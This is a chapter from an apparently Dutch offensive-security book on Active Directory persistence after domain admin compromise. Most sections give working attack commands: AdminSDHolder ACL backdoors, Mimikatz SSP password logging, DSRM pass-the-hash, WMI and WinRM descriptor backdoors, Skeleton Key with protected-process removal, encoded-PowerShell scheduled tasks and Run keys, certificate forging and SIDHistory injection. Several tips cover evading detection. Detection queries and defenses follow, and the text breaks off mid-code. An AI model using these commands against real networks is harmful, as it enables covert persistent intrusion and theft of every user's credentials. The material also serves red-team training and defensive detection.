Persistentie
Waarin we leren dat inbreken slechts het begin is, dat de werkelijke kunst ligt in het nooit meer weggaan, en dat de meeste organisaties hun backdoors pas ontdekken wanneer het al veel te laat is — als ze ze al ontdekken.
Zaden planten in de tuin
Er is een bijzonder soort tuinman — niet degene die planten verzorgt, maar degene die onkruid plant. Slim onkruid. Het soort dat er precies uitziet als de rozen die er al stonden. Dat zijn wortels diep in de grond boort, zodat je het niet kunt uittrekken zonder de hele border overhoop te halen. Dat zelfs na het maaien, harken en vergiftigen weer terugkomt, omdat er ergens een wortelstok zit die je over het hoofd hebt gezien.
Persistentie in een Active Directory-omgeving werkt precies zo. Een aanvaller die domain admin heeft bereikt — via Kerberoasting, ADCS-misbruik, of welke route dan ook uit de voorgaande hoofdstukken — staat voor een keuze. Optie A: tevreden zijn met de huidige toegang en hopen dat niemand het wachtwoord reset, de machine herstart, of de sessie beëindigt. Optie B: mechanismen planten die ervoor zorgen dat je altijd terug kunt keren. Ongeacht password resets. Ongeacht patches. Ongeacht het hele incident response-team dat in paniek door het gebouw rent.
Elke serieuze aanvaller kiest optie B. Niet uit gretigheid, maar uit professionalisme — of, als we het vanuit de verdedigerskant bekijken, uit pure terreur.
Het fascinerende aan AD-persistentie is hoe diep je kunt graven. Een gecompromitteerd gebruikersaccount is vervelend. Een backdoor in LSASS is erger. Maar een wijziging in de security descriptors van Active Directory zelf? Dat is het soort persistentie dat overleeft na een volledige herinstallatie van elke workstation in het netwerk, omdat het probleem niet op de workstations zit — het zit in de directory zelf.
In dit hoofdstuk behandelen we vijf persistentiemechanismen die een aanvaller met domain admin-rechten kan implementeren. Elk is lastiger te detecteren dan het vorige, en elk vereist diepere kennis om te verwijderen. Van AdminSDHolder-manipulatie tot de Skeleton Key — welkom in de wereld waar de inbreker nooit meer weggaat.
Waarom persistentie?
Laten we beginnen met de vraag die elke verdediger zou moeten stellen: waarom zou een aanvaller moeite doen om persistentie te implementeren?
Het antwoord is pragmatisch. Toegang tot een netwerk is fragiel. Wachtwoorden worden gereset. Sessies verlopen. Machines worden herstart. Antivirus vindt je implant. Het incident response-team sluit je C2-kanaal af. Zonder persistentie begin je weer bij nul.
Maar met persistentie heb je een verzekeringspolis. Een achterdeur. Een geheime ingang die je kunt gebruiken wanneer alle andere deuren dichtgaan. En in een Active Directory-omgeving, waar duizenden objecten, honderden GPO’s en tientallen vertrouwensrelaties een complex web vormen, zijn er talloze plaatsen om die achterdeur te verstoppen.
De meest voorkomende scenario’s:
- Na een password reset campagne: Het beveiligingsteam dwingt alle gebruikers hun wachtwoord te wijzigen. Prima. Maar jouw AdminSDHolder-backdoor werkt nog steeds.
- Na het patchen van de initiële kwetsbaarheid: De VPN-kwetsbaarheid waardoor je binnenkwam is gepatcht. Maar je Skeleton Key in LSASS draait nog.
- Na het opschonen van werkstations: Alle systemen worden opnieuw geïmaged. Maar je security descriptor-wijzigingen zitten in AD zelf, niet op de werkstations.
- Na het ontdekken van je C2: Het SOC vindt je command-and-control kanaal en blokkeert het. Maar je DSRM-backdoor op de DC biedt een alternatieve route.
Persistentie is het verschil tussen een eenmalig incident en een chronische infectie. En chronische infecties zijn wat organisaties nachten wakker houdt.
Het MITRE ATT&CK perspectief
In het MITRE ATT&CK framework vallen de technieken in dit hoofdstuk onder de tactiek “Persistence” (TA0003) en deels onder “Defense Evasion” (TA0005). De specifieke technieken:
| Methode | MITRE ATT&CK ID | Techniek |
|---|---|---|
| AdminSDHolder | T1098.xxx | Account Manipulation |
| Custom SSP | T1547.005 | Security Support Provider |
| DSRM | T1098 | Account Manipulation |
| Security Descriptors | T1222.001 | File and Directory Permissions Modification |
| Skeleton Key | T1556.001 | Modify Authentication Process |
| Golden Certificate | T1649 | Steal or Forge Authentication Certificates |
| DCShadow | T1207 | Rogue Domain Controller |
Het verschil met eerdere tactieken is subtiel maar cruciaal. Bij Initial Access (TA0001) gaat het om binnenkomen. Bij Privilege Escalation (TA0004) om hoger komen. Bij Persistence gaat het om blijven. De aanvaller is al binnen, heeft al de hoogste rechten, en wil nu garanderen dat die situatie permanent is. Het is het verschil tussen een inbraak en een bezetting.
Persistentie als assumptie
Een volwassen beveiligingsteam werkt vanuit de aanname dat persistentie al geimplementeerd is. Bij elk incident is de eerste vraag niet “zijn ze binnen?” maar “hoe lang zijn ze al binnen, en wat hebben ze geplant?” Dit is de “assume breach” mentaliteit — en het vereist een fundamenteel andere aanpak dan traditionele perimeter-beveiliging.
De traditionele aanpak: “We patchen de kwetsbaarheid, resetten de wachtwoorden, en dan zijn we klaar.”
De volwassen aanpak: “We patchen de kwetsbaarheid, resetten de wachtwoorden, en dan beginnen we pas. Nu moeten we elke mogelijke persistentiemethode systematisch uitsluiten voordat we het incident als opgelost beschouwen.”
Die tweede aanpak duurt langer, kost meer, en vereist diepere expertise. Maar het is de enige die daadwerkelijk werkt.
AdminSDHolder
Het mechanisme
AdminSDHolder is een van de meest elegante persistentiemechanismen in Active Directory, en tegelijkertijd een van de minst begrepen. Om te begrijpen hoe het werkt, moeten we eerst begrijpen wat het beschermt.
Active Directory heeft een aantal “beschermde groepen” — Domain Admins, Enterprise Admins, Schema Admins, en een handvol anderen. Leden van deze groepen hebben zoveel macht dat Microsoft een speciaal mechanisme heeft bedacht om hun permissions te beschermen: SDProp (Security Descriptor Propagator).
SDProp draait elke 60 minuten op de PDC Emulator. Het doet iets
eenvoudigs maar krachtig: het neemt de security descriptor (ACL) van het
object CN=AdminSDHolder,CN=System,DC=domain,DC=local en
kopieert die naar alle leden van beschermde groepen. Elke 60 minuten.
Automatisch. Ongeacht wat er in de tussentijd is gewijzigd.
Het idee is verdedigend: zelfs als iemand per ongeluk de permissions op het Domain Admins-account wijzigt, herstelt SDProp ze binnen een uur. Slim.
Maar wat als je de permissions op AdminSDHolder zelf wijzigt?
De aanval
Als een aanvaller FullControl toevoegt aan het AdminSDHolder-object voor een gewoon gebruikersaccount, dan kopieert SDProp die permission naar alle beschermde groepen en hun leden. Elke 60 minuten. Automatisch. Het is alsof je een regel toevoegt aan de grondwet die zegt “Jan van de postkamer mag alles” — en die regel wordt elke uur automatisch opnieuw toegepast op alle overheidsinstellingen.
Stap 1: FullControl toevoegen aan AdminSDHolder
Import-Module .\PowerView.ps1
Add-DomainObjectAcl `
-TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' `
-PrincipalIdentity targetuser `
-Rights All `
-VerboseDit voegt een ACE (Access Control Entry) toe aan het
AdminSDHolder-object die targetuser FullControl geeft.
Stap 2: SDProp forceren
Normaal wacht SDProp 60 minuten. Voor de ongedulige aanvaller:
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -VerboseOf handmatig via ldifde of dsmod. Na het
forceren worden de permissions van AdminSDHolder gekopieerd naar alle
beschermde objecten.
Stap 3: Verifieer de rechten
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
?{$_.IdentityReferenceName -match "targetuser"}Als de output een ACE toont met FullControl voor
targetuser op het Domain Admins-object, is de persistentie
actief.
Stap 4: Misbruik — jezelf toevoegen aan Domain Admins
Nu het sappige deel. targetuser heeft nu FullControl op
het Domain Admins-object, wat betekent dat hij leden kan toevoegen:
Add-DomainGroupMember -Identity 'Domain Admins' -Members targetuser -VerboseKlaar. targetuser is nu domain admin. En zelfs als het
beveiligingsteam je uit Domain Admins verwijdert en het wachtwoord reset
— de AdminSDHolder-ACL is nog steeds actief. Na 60 minuten krijgt
targetuser automatisch weer FullControl. Je kunt jezelf
opnieuw toevoegen. Ad infinitum.
IB — Het persist_adminsdholder command
bevat de volledige keten: PowerView importeren, ACL wijzigen, SDProp
forceren, verifiëren, en misbruiken. Vervang targetuser
door het account dat je als backdoor wilt gebruiken — bij voorkeur een
onopvallend account dat er al lang is, niet een account dat je net hebt
aangemaakt.
Waarom dit zo effectief is
- Het overleeft password resets: De ACL is gekoppeld aan de SID van het account, niet het wachtwoord.
- Het herstelt zichzelf: SDProp kopieert de permissions elke 60 minuten opnieuw. Zelfs als iemand de ACL op Domain Admins corrigeert, wordt de backdoor automatisch hersteld.
- Het is subtiel: Een extra ACE in een lange lijst van ACE’s op AdminSDHolder valt niet op, tenzij je specifiek zoekt.
- Het vereist geen malware: Geen bestand op disk. Geen proces in het geheugen. Alleen een wijziging in Active Directory.
Beschermde groepen
De volledige lijst van groepen die door SDProp beschermd worden:
Account Operators Domain Admins
Administrator Domain Controllers
Administrators Enterprise Admins
Backup Operators Print Operators
Domain Admins Read-only Domain Controllers
Replicator Schema Admins
Server Operators
Een ACE op AdminSDHolder propageert naar al deze groepen en hun leden. Dat maakt de impact enorm: een enkele ACL-wijziging geeft je controle over het hele spectrum van beschermde accounts. Niet alleen Domain Admins — ook Backup Operators (die bestanden van de DC kunnen lezen), Server Operators (die services op de DC kunnen beheren), en Account Operators (die gebruikersaccounts kunnen aanmaken en wijzigen).
Subtielere varianten
In plaats van FullControl kun je ook specifiekere rechten toekennen die minder opvallen maar nog steeds bruikbaar zijn:
# Alleen WriteMember rechten (kan groepsleden wijzigen)
Add-DomainObjectAcl `
-TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' `
-PrincipalIdentity targetuser `
-Rights WriteMembers `
-Verbose
# Alleen GenericWrite (kan attributen wijzigen)
Add-DomainObjectAcl `
-TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' `
-PrincipalIdentity targetuser `
-Rights GenericWrite `
-VerboseWriteMembers is voldoende om jezelf aan Domain Admins
toe te voegen, maar valt minder op dan FullControl in een
ACL-audit. Een ervaren aanvaller kiest het minimale recht dat nodig is —
net genoeg om terug te keren, niet genoeg om alarm te triggeren.
AdminSDHolder detectie
De baseline is simpel: documenteer de ACL van AdminSDHolder in een schone omgeving en vergelijk regelmatig:
# Baseline vastleggen
$baseline = (Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=local").Access
$baseline | Export-Csv -Path C:\baseline\adminsdholder_acl.csv -NoTypeInformation
# Periodieke vergelijking
$current = (Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=local").Access
$diff = Compare-Object -ReferenceObject $baseline -DifferenceObject $current `
-Property IdentityReference, ActiveDirectoryRights
if ($diff) {
# ALARM: AdminSDHolder ACL is gewijzigd!
Send-MailMessage -To "soc@domain.local" -Subject "AdminSDHolder ACL gewijzigd" `
-Body ($diff | Out-String) -SmtpServer smtp.domain.local
}Custom SSP
Cleartext wachtwoorden loggen
Als AdminSDHolder een stille, elegante backdoor is, dan is de Custom SSP een schreeuwend onbeschaamde. Dit mechanisme laadt een kwaadaardige Security Support Provider (SSP) in het LSASS-proces op de domain controller, waarna elk wachtwoord dat wordt ingevoerd — bij elke login, elke authenticatie — in cleartext wordt gelogd naar een bestand.
Elk. Wachtwoord. In. Cleartext.
Het is het digitale equivalent van een verborgen camera boven het toetsenbord van de kassa. Iedereen die inlogt — gebruiker, beheerder, service account — levert zijn wachtwoord in bij de aanvaller.
Methode 1: Persistent via registry
Deze methode overleeft een reboot, maar vereist dat je een bestand plaatst en het register wijzigt:
# mimilib.dll kopiëren naar System32 en registeren als SSP
$packages = Get-ItemProperty `
HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ `
-Name 'Security Packages' |
select -ExpandProperty 'Security Packages'
$packages += "mimilib"
Set-ItemProperty `
HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ `
-Name 'Security Packages' -Value $packages
Set-ItemProperty `
HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ `
-Name 'Security Packages' -Value $packagesNa een reboot van de DC wordt mimilib.dll geladen als
SSP in LSASS. Elke authenticatie wordt gelogd naar:
C:\Windows\system32\mimilsa.log
Het formaat is simpel: timestamp, gebruikersnaam, domein, wachtwoord. In cleartext. Alsof iemand een notitieboekje naast de voordeur legt en elke bezoeker vraagt zijn pincode op te schrijven.
Methode 2: In-memory inject
Geen reboot nodig. Geen bestand op disk (behalve de log). Direct actief:
Invoke-Mimikatz -Command '"misc::memssp"'Dit injecteert de SSP direct in het LSASS-geheugen. Het nadeel: het overleeft geen reboot. Het voordeel: geen registerwijziging, geen DLL op disk, moeilijker te detecteren.
De credentials worden alsnog gelogd naar
C:\Windows\system32\mimilsa.log.
IB — Het persist_custom_ssp command
bevat beide methoden. De registry-methode is persistent maar
zichtbaarder (bestand + registerwijziging). De in-memory methode is
stealthier maar niet persistent. Kies op basis van je scenario.
Let op: Dit is een van de meest invasieve persistentietechnieken. Alle wachtwoorden van alle gebruikers worden in cleartext opgeslagen. Gebruik dit uitsluitend in gecontroleerde labomgevingen of met expliciete, gedocumenteerde toestemming.
Detectie en verdediging
Custom SSP’s zijn detecteerbaar, maar alleen als je weet waar je moet kijken:
- Registry monitoring: Wijzigingen aan
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packagesmoeten een alarm triggeren. - DLL monitoring: Nieuwe DLL’s in
C:\Windows\System32die als SSP geregistreerd worden. - LSA Protection: Windows 8.1+ en Server 2012 R2+ ondersteunen LSA als Protected Process Light (PPL). Dit voorkomt dat ongetekende DLL’s in LSASS geladen worden:
# LSA Protection inschakelen
New-ItemProperty `
-Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
-Name "RunAsPPL" -Value 1 -PropertyType DWORD- Credential Guard: In Windows 10/Server 2016+ isoleert Credential Guard LSASS-secrets in een virtualized environment, waardoor zelfs een gecompromitteerde kernel ze niet kan benaderen.
Het cynische is dat de meeste organisaties geen van deze beschermingen ingeschakeld hebben. LSA Protection? “Dat breekt compatibiliteit met onze legacy-applicatie uit 2009.” Credential Guard? “We hebben geen Enterprise-licentie.” Registry monitoring? “Ons SIEM staat al op 40.000 events per seconde, we kunnen er niet meer bij.” En zo blijft de aanvaller wachtwoorden oogsten als een boer tijdens de oogst.
DSRM (Directory Services Restore Mode)
De vergeten achterdeur
Elke domain controller heeft een lokaal Administrator-account dat normaal niet gebruikt wordt: het DSRM-account. Dit account wordt aangemaakt wanneer de DC wordt gepromoveerd en is bedoeld voor noodherstel — wanneer Active Directory zelf niet meer werkt en je moet herstellen vanuit een backup.
Het DSRM-account is als een noodsleutel in een glazen kastje naast de branduitgang. Het is er voor noodgevallen. Niemand denkt eraan. Niemand controleert het. En het wachtwoord is waarschijnlijk nog hetzelfde als op de dag dat de DC vijf jaar geleden werd geïnstalleerd.
Maar het mooiste: het DSRM-account is lokaal. Het staat niet in Active Directory. Het wordt niet beïnvloed door domain-level password policies. Het wordt niet gereset bij “wijzig alle wachtwoorden” campagnes. Het is onzichtbaar voor de meeste monitoringtools.
De aanval
Stap 1: DSRM wachtwoord hash dumpen
Met domain admin-rechten en Mimikatz op de DC:
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName dc01Dit dumpt de lokale SAM-database van de DC, inclusief de NTLM-hash van het DSRM Administrator-account. De output toont de hash van het lokale Administrator-account — dat is het DSRM-account.
Stap 2: Logon behavior aanpassen
Standaard kan het DSRM-account alleen inloggen wanneer de DC in DSRM-modus is opgestart (een speciale boot-modus). Maar een enkele registerwijziging verandert dat:
Enter-PSSession -ComputerName dc01
New-ItemProperty `
"HKLM:\System\CurrentControlSet\Control\Lsa\" `
-Name "DsrmAdminLogonBehavior" `
-Value 2 `
-PropertyType DWORDWaarde 2 betekent: het DSRM-account kan altijd inloggen, niet alleen in DSRM-modus. Die ene registerwijziging transformeert een noodherstel-account in een permanente backdoor.
Stap 3: Pass the hash met het DSRM-account
Nu kun je op elk moment inloggen met de DSRM-hash:
Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dc01 /user:Administrator /ntlm:DSRM_NTLM_HASH /run:powershell.exe"'Let op de /domain:dc01 parameter. Dit is cruciaal: je
authenticeert tegen de lokale SAM van dc01, niet tegen Active
Directory. Het is een pass-the-hash aanval met een lokaal account. Je
krijgt een PowerShell-sessie als de lokale Administrator van de DC — wat
in de praktijk dezelfde rechten geeft als domain admin, aangezien je op
de DC zelf zit.
IB — Het persist_dsrm command bevat
alle drie de stappen. Vervang dc01 door de hostnaam van de
doelmachine en DSRM_NTLM_HASH door de hash uit stap 1. Merk
op dat je domain admin-rechten nodig hebt voor zowel de SAM-dump als de
registerwijziging.
Waarom dit zo effectief is
- Onzichtbaar voor AD-monitoring: Het DSRM-account staat niet in Active Directory. SIEM-regels die kijken naar AD-authenticatie missen dit.
- Overleeft password resets: Het DSRM-wachtwoord wordt niet gereset door domain-level operaties.
- Overleeft account lockouts: Lokale accounts worden niet vergrendeld door domain-level lockout policies.
- Minimale voetafdruk: Eén registerwijziging. Geen bestand op disk. Geen nieuw account.
Verdediging
- DSRM-wachtwoord regelmatig wijzigen:
ntdsutil>set dsrm password>reset password on server <dc> - DsrmAdminLogonBehavior monitoren: Elke wijziging aan deze registersleutel is verdacht. De standaardwaarde is 0 of niet aanwezig.
- Event ID 4794: Wordt gelogd wanneer het DSRM-wachtwoord wordt ingesteld. Als je dit event ziet en niemand heeft het wachtwoord bewust gewijzigd, heb je een probleem.
Security Descriptors
De onzichtbare backdoor
Security Descriptor-backdoors zijn misschien wel het meest elegante persistentiemechanisme in dit hoofdstuk. Ze wijzigen de toegangsrechten (ACLs) op WMI namespaces, PowerShell Remoting endpoints, of registry keys op de domain controller, zodat een gewone gebruiker acties kan uitvoeren die normaal admin-rechten vereisen.
Het briljante: er is geen malware. Geen bestand. Geen registersleutel (behalve voor de registry-backdoor variant). Geen proces. Alleen een wijziging in de security descriptor van een bestaand Windows-subsysteem. Het is alsof je de sloten op de deuren niet verandert, maar een extra sleutel bijmaakt die er precies uitziet als de originele.
RACE Toolkit
De RACE (Remote ACL-based Exploitation) toolkit van Nikhil Mittal automatiseert het hele proces.
WMI backdoor:
Import-Module .\RACE.ps1
Set-RemoteWMI -SamAccountName targetuser -ComputerName dc01 `
-namespace 'root\cimv2' -VerboseDit wijzigt de security descriptor van de WMI namespace
root\cimv2 op dc01, zodat targetuser remote
WMI-queries kan uitvoeren — zonder admin-rechten. WMI geeft toegang tot
vrijwel alles: processen, services, registry, event logs. Het is een
volledige remote management interface.
PSRemoting backdoor:
Set-RemotePSRemoting -SamAccountName targetuser -ComputerName dc01 -VerboseDit wijzigt de security descriptor van de PowerShell Remoting (WinRM)
endpoint op dc01. targetuser kan nu
Enter-PSSession of Invoke-Command gebruiken om
commando’s uit te voeren op de DC — als een gewone gebruiker, zonder
admin-rechten.
Remote Registry backdoor:
Add-RemoteRegBackdoor -ComputerName dc01 -Trustee targetuser -VerboseDit geeft targetuser leesrechten op de remote registry
van dc01, inclusief de SAM en Security hives. Daarmee kun je hashes
extraheren:
# Machine account hash ophalen
Get-RemoteMachineAccountHash -ComputerName dc01 -Verbose
# Lokale account hashes ophalen (inclusief DSRM!)
Get-RemoteLocalAccountHash -ComputerName dc01 -Verbose
# Gecachte domain credentials
Get-RemoteCachedCredential -ComputerName dc01 -VerboseIB — Het persist_security_descriptors
command bevat alle RACE-toolkit commando’s. Na het plaasten van de
backdoors kun je als targetuser — een gewoon
gebruikersaccount — de DC op afstand beheren, hashes dumpen, en
credentials verzamelen. Zonder tools op de DC. Zonder admin-rechten op
dat moment.
De kracht van deze aanval
Wat deze methode zo bijzonder maakt, is wat er niet verandert:
- Geen bestand op disk: Niets wat een AV-scanner kan vinden.
- Geen nieuw proces: Niets wat een EDR kan flaggen.
- Geen nieuw account: Niets wat opvalt in AD.
- Geen registerwijziging (behalve bij de registry-variant): Niets voor Sysmon om te loggen.
De enige verandering is een ACE in de security descriptor van een WMI namespace of WinRM endpoint. Om dit te detecteren, moet je de security descriptors van deze subsystemen actief monitoren — iets wat vrijwel geen organisatie doet.
Detectie
# WMI namespace security descriptor controleren
$acl = Get-WmiObject -Namespace root\cimv2 -Class __SystemSecurity
$acl.GetSecurityDescriptor().Descriptor | Format-List
# WinRM security descriptor controleren
winrm get winrm/config/serviceZoek naar ACE’s die niet-admin gebruikers toegang geven tot deze subsystemen. In een standaardconfiguratie hebben alleen administrators en NETWORK SERVICE toegang.
Skeleton Key
Het master-wachtwoord
De Skeleton Key is het brutaalste persistentiemechanisme in het hele
Active Directory-arsenaal. Het is zo brutaal dat het bijna komisch is.
Het concept: je patcht het LSASS-proces op de domain controller zodat
naast elk normaal wachtwoord ook een “master-wachtwoord”
geaccepteerd wordt. Het standaard master-wachtwoord van Mimikatz?
mimikatz. Geen sterretjes. Geen versleuteling. Gewoon het
woord “mimikatz.”
Stel je voor: elke deur in het gebouw heeft een uniek slot. Elke medewerker heeft een eigen sleutel. Dat is normaal. Maar iemand heeft een loper gemaakt die in elk slot past. Niet door de sloten te vervangen — ze werken nog steeds met de originele sleutels — maar door ze zo aan te passen dat ze ook de loper accepteren. Het originele slot werkt nog. De originele sleutels werken nog. Maar er is nu een universele bijsleutel.
De aanval
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dc01.domain.localDat is het. Eén regel. Na het uitvoeren werkt voor elk account in het
domein — elke gebruiker, elke admin, elk service account — naast het
echte wachtwoord ook het wachtwoord mimikatz.
Test de Skeleton Key:
Enter-PSSession -ComputerName dc01 -Credential domain\Administrator
# Wachtwoord: mimikatzJe logt in als Administrator met het wachtwoord “mimikatz.” Het echte wachtwoord van Administrator werkt ook nog — niets is zichtbaar veranderd voor de eigenaar van het account. Maar de aanvaller heeft nu een universele sleutel.
LSASS als Protected Process
Moderne Windows-versies kunnen LSASS draaien als Protected Process Light (PPL), wat voorkomt dat ongetekende code het proces kan patchen. De Skeleton Key werkt dan niet direct. Maar Mimikatz heeft daar een antwoord op:
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
De !+ en !processprotect commando’s laden
een kernel-driver die de PPL-bescherming verwijdert. Daarna kan de
Skeleton Key alsnog geïnjecteerd worden. Het is alsof je het alarm
uitschakelt voordat je inbreekt — technisch ingewikkelder, maar het
eindresultaat is hetzelfde.
IB — Het persist_skeleton_key command
bevat zowel de standaard injectie als de methode voor wanneer LSASS als
protected process draait. Het standaard wachtwoord is
mimikatz. Test altijd direct na injectie of het werkt — de
injectie kan stil falen als LSASS-beschermingen actief zijn die Mimikatz
niet omzeilt.
Beperkingen
De Skeleton Key heeft significante beperkingen vergeleken met de andere methoden in dit hoofdstuk:
- Niet persistent na reboot: De patch zit in het geheugen van LSASS. Een reboot van de DC verwijdert de Skeleton Key.
- Alleen op DC’s: De patch moet worden aangebracht op elke DC in het domein. Als het domein drie DC’s heeft, moet je het drie keer uitvoeren.
- AES niet ondersteund: De Skeleton Key ondersteunt standaard alleen RC4-encryptie. Als het domein AES-only afdwingt, werkt de techniek niet.
- Detecteerbaar via encryption downgrade: Authenticaties via de Skeleton Key gebruiken RC4 in plaats van AES. Dit is detecteerbaar als je Kerberos encryption types monitort.
- LSASS-instabiliteit: Het patchen van LSASS kan in zeldzame gevallen het proces laten crashen, wat de DC herstart.
Ondanks deze beperkingen is de Skeleton Key een krachtig wapen in het korte termijn. Het biedt universele toegang zonder bestanden, zonder registerwijzigingen, en zonder netwerk-artefacten — zolang de DC niet herstart wordt.
Skeleton Key technisch
Wat doet de Skeleton Key precies in LSASS? Het patcht de
CDLocateCSystem en
SamIRetrieveMultiplePrimaryCredentials functies in het
geheugen. Normaal vergelijken deze functies het ingevoerde wachtwoord
(of hash) met de opgeslagen hash in de AD-database. Na het patchen
vergelijken ze het ook met een hardcoded hash — de RC4-hash van
“mimikatz.”
Normale authenticatie:
User input ──> Hash ──> Vergelijk met AD-hash ──> Match? ──> Toegang
Na Skeleton Key:
User input ──> Hash ──> Vergelijk met AD-hash ──> Match? ──> Toegang
└──> Vergelijk met "mimikatz" hash ──> Match? ──> Toegang
Het is een OR-conditie. Het echte wachtwoord werkt. Het skeleton-wachtwoord werkt ook. En omdat het een in-memory patch is, staat er niets op disk dat een forensisch onderzoeker kan vinden — tenzij je een memory dump maakt van LSASS en de gewijzigde functies identificeert.
Detectie van Skeleton Key
De meest betrouwbare detectiemethode is het monitoren van Kerberos encryption types:
# Zoek naar RC4 (etype 23) TGT-aanvragen
# Skeleton Key forceert RC4 encryptie
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4769
} | Where-Object {
$_.Message -match 'Ticket Encryption Type:.*0x17'
} | Select-Object TimeCreated, MessageIn een moderne AD-omgeving die AES gebruikt (wat de standaard zou moeten zijn), is RC4-authenticatie al verdacht. Skeleton Key maakt het extra verdacht omdat alle authenticaties plots RC4 gebruiken — een patroon dat opvalt als je ernaar zoekt.
Andere detectiepunten: - Sysmon Event 10: Process Access naar lsass.exe met verdachte rechten - Event ID 7045: Nieuwe service geinstalleerd (als Mimikatz als service draait) - LSASS memory integrity: Tools als Windows Defender Credential Guard of HyperV-gebaseerde beveiliging die LSASS-patches detecteren
Andere persistentiemethoden
De vijf methoden hierboven zijn de “kroonjuwelen” van AD-persistentie, maar ze zijn niet de enige opties. Een kort overzicht van aanvullende technieken:
Scheduled Tasks en Services
De klassiekers. Een scheduled task die bij elke boot een reverse shell start, of een Windows service die een payload uitvoert. Simpel, effectief, maar ook relatief makkelijk te detecteren:
# Scheduled task op DC
schtasks /create /tn "SystemUpdate" /tr "powershell.exe -enc <BASE64>" `
/sc onstart /ru SYSTEM /s dc01
# Service installeren
sc \\dc01 create backdoor binPath= "cmd /c powershell -enc <BASE64>" start= autoHet nadeel: bestanden op disk, processen in het geheugen, en Sysmon/EDR ziet het vrijwel direct. Gebruik dit alleen als fallback.
Registry Run Keys
# HKLM Run key voor alle gebruikers
Set-ItemProperty `
-Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "SystemCheck" `
-Value "powershell.exe -WindowStyle Hidden -enc <BASE64>"Elke keer dat iemand inlogt op de machine, wordt je payload uitgevoerd. Zichtbaar voor elke beheerder die het register inspecteert, maar hoeveel beheerders doen dat regelmatig?
DCShadow
DCShadow is een geavanceerde techniek die een valse domain controller registreert in Active Directory, wijzigingen pusht via replicatie, en zichzelf daarna weer verwijdert. Het is als een spion die zich uitgeeft als diplomaat, een verdrag ondertekent, en weer vertrekt voordat iemand het doorheeft.
DCShadow kan gebruikt worden om: - Objectattributen te wijzigen (bijv. SIDHistory toevoegen) - ACL’s aan te passen - AdminSDHolder te modificeren - Alles wat via AD-replicatie gepusht kan worden
De kracht: wijzigingen via DCShadow verschijnen als normale replicatie. Er is geen direct spoor naar de bron, tenzij je replicatie-metadata gedetailleerd analyseert.
Golden Certificate
In het vorige hoofdstuk behandelden we ADCS. Een Golden Certificate is het persistentie-equivalent van een Golden Ticket: als je de private key van de Certificate Authority hebt, kun je voor altijd willekeurige certificaten uitgeven. Geen template nodig. Geen enrollment rechten nodig. Je bent de CA.
# CA private key exporteren (als DA)
certipy ca -backup -ca domain-CA -target dc01.domain.local \
-u admin@domain.local -p 'Password!'
# Op elk moment een certificaat uitgeven
certipy forge -ca-pfx ca.pfx -upn Administrator@domain.local \
-subject "CN=Administrator,CN=Users,DC=domain,DC=local"Dit overleeft password resets, ticket rotatie, en zelfs het verwijderen van kwetsbare templates. Zolang de CA-key niet wordt gewisseld — wat een volledige PKI-herinstallatie vereist — blijft de aanvaller onkwetsbaar.
SIDHistory injection
Door de SID van de Enterprise Admins-groep toe te voegen aan het SIDHistory-attribuut van een gewoon account, krijgt dat account Enterprise Admin-rechten in het hele forest. Dit is persistent, subtiel, en overleeft password resets.
# Via Mimikatz
Invoke-Mimikatz -Command '"sid::add /sam:targetuser /new:S-1-5-21-...-519"'SIDHistory was oorspronkelijk bedoeld voor migratiescenario’s: wanneer een gebruiker van het ene domein naar het andere verhuist, behoudt de SIDHistory de rechten uit het oude domein. Het is een elegant systeem met een verschrikkelijke bijwerking: niets voorkomt dat je de SID van een willekeurige groep toevoegt. En de SID van Enterprise Admins (RID 519) geeft rechten over het hele forest.
Vergelijking van methoden
Subtiliteit
^
|
Security Descriptors | AdminSDHolder
★ | ★
|
|
DSRM | Golden Certificate
★ | ★
|
|
Custom SSP (mem) | DCShadow
★ | ★
|
|
Skeleton Key | Scheduled Tasks
★ | ★
+─────────────────────> Persistentie
(overleeft reboot)
De ideale persistentiemethode bevindt zich rechtsboven: subtiel en persistent. Security Descriptors en AdminSDHolder scoren hier het beste. De Skeleton Key is subtiel maar niet persistent. Scheduled Tasks zijn persistent maar niet subtiel. De keuze hangt af van je prioriteiten en de verdedigingscapaciteiten van het doelwit.
Detectie en verdediging
Het grotere plaatje
Persistentie detecteren is als het zoeken naar een naald in een hooiberg, behalve dat de naald er precies uitziet als stro. Elke methode in dit hoofdstuk misbruikt legitieme Windows-functionaliteit. AdminSDHolder moet permissions propageren — dat is zijn functie. LSASS moet SSP’s laden. Het DSRM-account moet bestaan. De verdediger moet onderscheid maken tussen normaal gebruik en misbruik van dezelfde mechanismen.
Detectiematrix
| Methode | Detectiepunt | Event ID | Moeilijkheid |
|---|---|---|---|
| AdminSDHolder | ACL-wijziging op AdminSDHolder object | 5136 (Directory Service Changes) | Gemiddeld |
| Custom SSP | Registry wijziging of DLL loading in LSASS | Sysmon Event 13 (Registry) | Gemiddeld |
| DSRM | DsrmAdminLogonBehavior registerwijziging | Sysmon Event 13 | Laag |
| Security Descriptors | ACL-wijziging op WMI/WinRM/Registry | WMI: Event 4662 | Hoog |
| Skeleton Key | RC4 downgrade in Kerberos authenticatie | 4769 (TGS Request) met RC4 | Gemiddeld |
| DCShadow | Onverwachte replicatie-partner | 4928/4929 (Replication) | Hoog |
| Golden Certificate | Certificaten niet in CA-database | CA audit logs | Hoog |
Verdedigingslagen
Laag 1: Preventie
# LSA Protection inschakelen
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
